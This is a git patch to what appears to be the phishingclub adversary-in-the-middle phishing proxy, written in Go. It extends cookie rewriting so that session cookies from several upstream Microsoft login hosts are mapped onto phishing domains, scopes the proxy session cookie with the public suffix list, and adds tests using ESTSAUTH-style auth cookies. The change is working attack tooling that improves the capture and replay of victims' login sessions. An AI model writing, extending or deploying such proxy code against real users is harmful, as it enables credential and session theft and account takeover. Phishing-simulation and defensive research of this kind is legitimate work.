From 5fc6b3d95ce29b2484d33e098cfb3bb9b0628bd6 Mon Sep 17 00:00:00 2001 From: RonniSkansing Date: Wed, 22 Jul 2026 10:32:46 +0200 Subject: [PATCH] fix proxy session cookie scope and multi host upstream cookie rewriting Signed-off-by: RonniSkansing --- backend/proxy/proxy.go | 90 ++++++++----------------- backend/proxy/proxy_test.go | 127 ++++++++++++++++++++++++++++++++++++ 2 files changed, 153 insertions(+), 64 deletions(-) diff --git a/backend/proxy/proxy.go b/backend/proxy/proxy.go index 372b9d0..8494266 100644 --- a/backend/proxy/proxy.go +++ b/backend/proxy/proxy.go @@ -37,6 +37,7 @@ import ( "github.com/phishingclub/phishingclub/utils" "github.com/phishingclub/phishingclub/vo" "go.uber.org/zap" + "golang.org/x/net/publicsuffix" "gopkg.in/yaml.v3" "gorm.io/gorm" ) @@ -1078,14 +1079,20 @@ func (m *ProxyHandler) processCookiesForPhishingDomainWithContext(resp *http.Res return } - tempConfig := map[string]service.ProxyServiceDomainConfig{ - reqCtx.TargetDomain: {To: reqCtx.PhishDomain}, + // use the full host mapping so cookies from every upstream host in the flow + // are rewritten to their phishing counterpart, not only the primary host. + // fall back to the primary target to phish pair when no mapping is present. + config := reqCtx.ConfigMap + if len(config) == 0 { + config = map[string]service.ProxyServiceDomainConfig{ + reqCtx.TargetDomain: {To: reqCtx.PhishDomain}, + } } resp.Header.Del("Set-Cookie") for _, ck := range cookies { m.adjustCookieSettings(ck, reqCtx.Session, resp) - m.rewriteCookieDomain(ck, tempConfig, resp) + m.rewriteCookieDomain(ck, config, resp) resp.Header.Add("Set-Cookie", ck.String()) } } @@ -2978,31 +2985,6 @@ func (m *ProxyHandler) applyTargetFilter(selection *goquery.Selection, target st return selection } -func (m *ProxyHandler) processCookiesForPhishingDomain(resp *http.Response, ps *service.ProxySession) { - cookies := resp.Cookies() - if len(cookies) == 0 { - return - } - - phishDomain := ps.Domain.Name - targetDomain, err := m.getTargetDomainForPhishingDomain(phishDomain) - if err != nil { - m.logger.Errorw("failed to get target domain for cookie processing", "error", err, "phishDomain", phishDomain) - return - } - - tempConfig := map[string]service.ProxyServiceDomainConfig{ - targetDomain: {To: phishDomain}, - } - - resp.Header.Del("Set-Cookie") - for _, ck := range cookies { - m.adjustCookieSettings(ck, nil, resp) - m.rewriteCookieDomain(ck, tempConfig, resp) - resp.Header.Add("Set-Cookie", ck.String()) - } -} - func (m *ProxyHandler) adjustCookieSettings(ck *http.Cookie, session *service.ProxySession, resp *http.Response) { if ck.Secure { ck.SameSite = http.SameSiteNoneMode @@ -3866,17 +3848,26 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig } } -// extractTopLevelDomain extracts the top-level domain from a hostname +// extractTopLevelDomain returns the registrable domain of a hostname, used to +// scope the session cookie across all subdomains of the phishing domain. // e.g., "login.proxysaurous.test" -> "proxysaurous.test" -// e.g., "assets-1.proxysaurous.test" -> "proxysaurous.test" +// e.g., "login.evilcorp.co.uk" -> "evilcorp.co.uk" func (m *ProxyHandler) extractTopLevelDomain(hostname string) string { - parts := strings.Split(hostname, ".") - if len(parts) <= 2 { - // already a top-level domain or single word + // drop a port if the host carries one + if host, _, err := net.SplitHostPort(hostname); err == nil { + hostname = host + } + // an ip host has no registrable domain, use it as is + if net.ParseIP(hostname) != nil { return hostname } - // return the last two parts (domain.tld) - return parts[len(parts)-2] + "." + parts[len(parts)-1] + // the public suffix list yields the registrable domain, so multi label + // suffixes such as co.uk resolve to evilcorp.co.uk and not the suffix + if etldPlusOne, err := publicsuffix.EffectiveTLDPlusOne(hostname); err == nil { + return etldPlusOne + } + // single label hosts such as localhost have no registrable domain + return hostname } func (m *ProxyHandler) GetCookieName() string { @@ -4044,35 +4035,6 @@ func (m *ProxyHandler) CleanupExpiredSessions() { } } -func (m *ProxyHandler) getTargetDomainForPhishingDomain(phishingDomain string) (string, error) { - if strings.Contains(phishingDomain, ":") { - phishingDomain = strings.Split(phishingDomain, ":")[0] - } - - var dbDomain database.Domain - result := m.DomainRepository.DB.Where("name = ?", phishingDomain).First(&dbDomain) - if result.Error != nil { - return "", fmt.Errorf("failed to get domain configuration: %w", result.Error) - } - - if dbDomain.Type != "proxy" { - return "", fmt.Errorf("domain is not configured for proxy") - } - - if dbDomain.ProxyTargetDomain == "" { - return "", fmt.Errorf("no proxy target domain configured") - } - - targetDomain := dbDomain.ProxyTargetDomain - if strings.Contains(targetDomain, "://") { - if parsedURL, err := url.Parse(targetDomain); err == nil { - return parsedURL.Host, nil - } - } - - return targetDomain, nil -} - func (m *ProxyHandler) isValidSessionCookie(cookie string) bool { if cookie == "" { return false diff --git a/backend/proxy/proxy_test.go b/backend/proxy/proxy_test.go index 3f77843..670585e 100644 --- a/backend/proxy/proxy_test.go +++ b/backend/proxy/proxy_test.go @@ -2,6 +2,7 @@ package proxy import ( "net/http" + "strings" "testing" "github.com/phishingclub/phishingclub/service" @@ -108,3 +109,129 @@ func TestNormalizeRequestHeaders_ReverseMapsOriginAndReferer(t *testing.T) { t.Fatalf("Referer not reverse mapped\n got: %s\nwant: %s", got, want) } } + +// --- multi host upstream cookie rewriting --- + +// multiHostConfig maps two upstream hosts to two phishing hosts, mirroring an +// AiTM flow that spans more than one upstream login server. +func multiHostConfig() map[string]service.ProxyServiceDomainConfig { + return map[string]service.ProxyServiceDomainConfig{ + "login.microsoftonline.com": {To: "login.phish.example.com"}, + "login.live.com": {To: "live.phish.example.com"}, + } +} + +func newCookieResponse(t *testing.T, setCookies ...string) *http.Response { + t.Helper() + req, err := http.NewRequest(http.MethodGet, "https://login.phish.example.com/", nil) + if err != nil { + t.Fatal(err) + } + resp := &http.Response{Header: make(http.Header), Request: req} + for _, sc := range setCookies { + resp.Header.Add("Set-Cookie", sc) + } + return resp +} + +// cookieDomain returns the Domain of the named cookie without a leading dot. +func cookieDomain(t *testing.T, resp *http.Response, name string) string { + t.Helper() + for _, ck := range resp.Cookies() { + if ck.Name == name { + return strings.TrimPrefix(ck.Domain, ".") + } + } + t.Fatalf("cookie %q not found in response", name) + return "" +} + +// A Set-Cookie from a secondary upstream host must be rewritten to that host's +// phishing counterpart using the full host mapping. This fails while the cookie +// path only knows the primary target to phish pair, so the secondary cookie +// keeps its upstream domain and the browser on the phishing domain drops it. +func TestProcessCookies_SecondaryHostRewrittenToPhish(t *testing.T) { + m := &ProxyHandler{} + reqCtx := &RequestContext{ + TargetDomain: "login.microsoftonline.com", + PhishDomain: "login.phish.example.com", + ConfigMap: multiHostConfig(), + } + resp := newCookieResponse(t, "ESTSAUTH=abc; Domain=login.live.com; Path=/; Secure") + + m.processCookiesForPhishingDomainWithContext(resp, reqCtx) + + if got, want := cookieDomain(t, resp, "ESTSAUTH"), "live.phish.example.com"; got != want { + t.Fatalf("secondary host cookie domain\n got: %s\nwant: %s", got, want) + } +} + +// The primary host cookie must keep being rewritten when the full mapping is +// present. Regression guard, expected to pass before and after the fix. +func TestProcessCookies_PrimaryHostRewritten(t *testing.T) { + m := &ProxyHandler{} + reqCtx := &RequestContext{ + TargetDomain: "login.microsoftonline.com", + PhishDomain: "login.phish.example.com", + ConfigMap: multiHostConfig(), + } + resp := newCookieResponse(t, "ESTSAUTHPERSISTENT=xyz; Domain=login.microsoftonline.com; Path=/; Secure") + + m.processCookiesForPhishingDomainWithContext(resp, reqCtx) + + if got, want := cookieDomain(t, resp, "ESTSAUTHPERSISTENT"), "login.phish.example.com"; got != want { + t.Fatalf("primary host cookie domain\n got: %s\nwant: %s", got, want) + } +} + +// With no full mapping available the path must fall back to the primary target +// to phish pair, so the primary cookie is still rewritten. Regression guard, +// expected to pass before and after the fix. +func TestProcessCookies_FallbackWhenConfigMapEmpty(t *testing.T) { + m := &ProxyHandler{} + reqCtx := &RequestContext{ + TargetDomain: "login.microsoftonline.com", + PhishDomain: "login.phish.example.com", + } + resp := newCookieResponse(t, "ESTSAUTHPERSISTENT=xyz; Domain=login.microsoftonline.com; Path=/; Secure") + + m.processCookiesForPhishingDomainWithContext(resp, reqCtx) + + if got, want := cookieDomain(t, resp, "ESTSAUTHPERSISTENT"), "login.phish.example.com"; got != want { + t.Fatalf("fallback primary cookie domain\n got: %s\nwant: %s", got, want) + } +} + +// --- registrable domain for the session cookie --- + +// extractTopLevelDomain must return the registrable domain so the session +// cookie is scoped correctly. The naive last two labels approach breaks for +// multi label public suffixes such as co.uk, for IP hosts and for hosts that +// carry a port. +func TestExtractTopLevelDomain(t *testing.T) { + m := &ProxyHandler{} + + cases := []struct { + name string + in string + want string + }{ + {"simple com", "login.evilcorp.com", "evilcorp.com"}, + {"two label", "evilcorp.com", "evilcorp.com"}, + {"deep subdomain com", "a.b.c.evilcorp.com", "evilcorp.com"}, + {"dev test tld", "login.proxysaurous.test", "proxysaurous.test"}, + {"single label", "localhost", "localhost"}, + {"multi label suffix", "login.evilcorp.co.uk", "evilcorp.co.uk"}, + {"deep multi label suffix", "a.b.evilcorp.co.uk", "evilcorp.co.uk"}, + {"ip address", "127.0.0.1", "127.0.0.1"}, + {"host with port", "login.evilcorp.com:8443", "evilcorp.com"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := m.extractTopLevelDomain(tc.in); got != tc.want { + t.Fatalf("extractTopLevelDomain(%q)\n got: %s\nwant: %s", tc.in, got, tc.want) + } + }) + } +}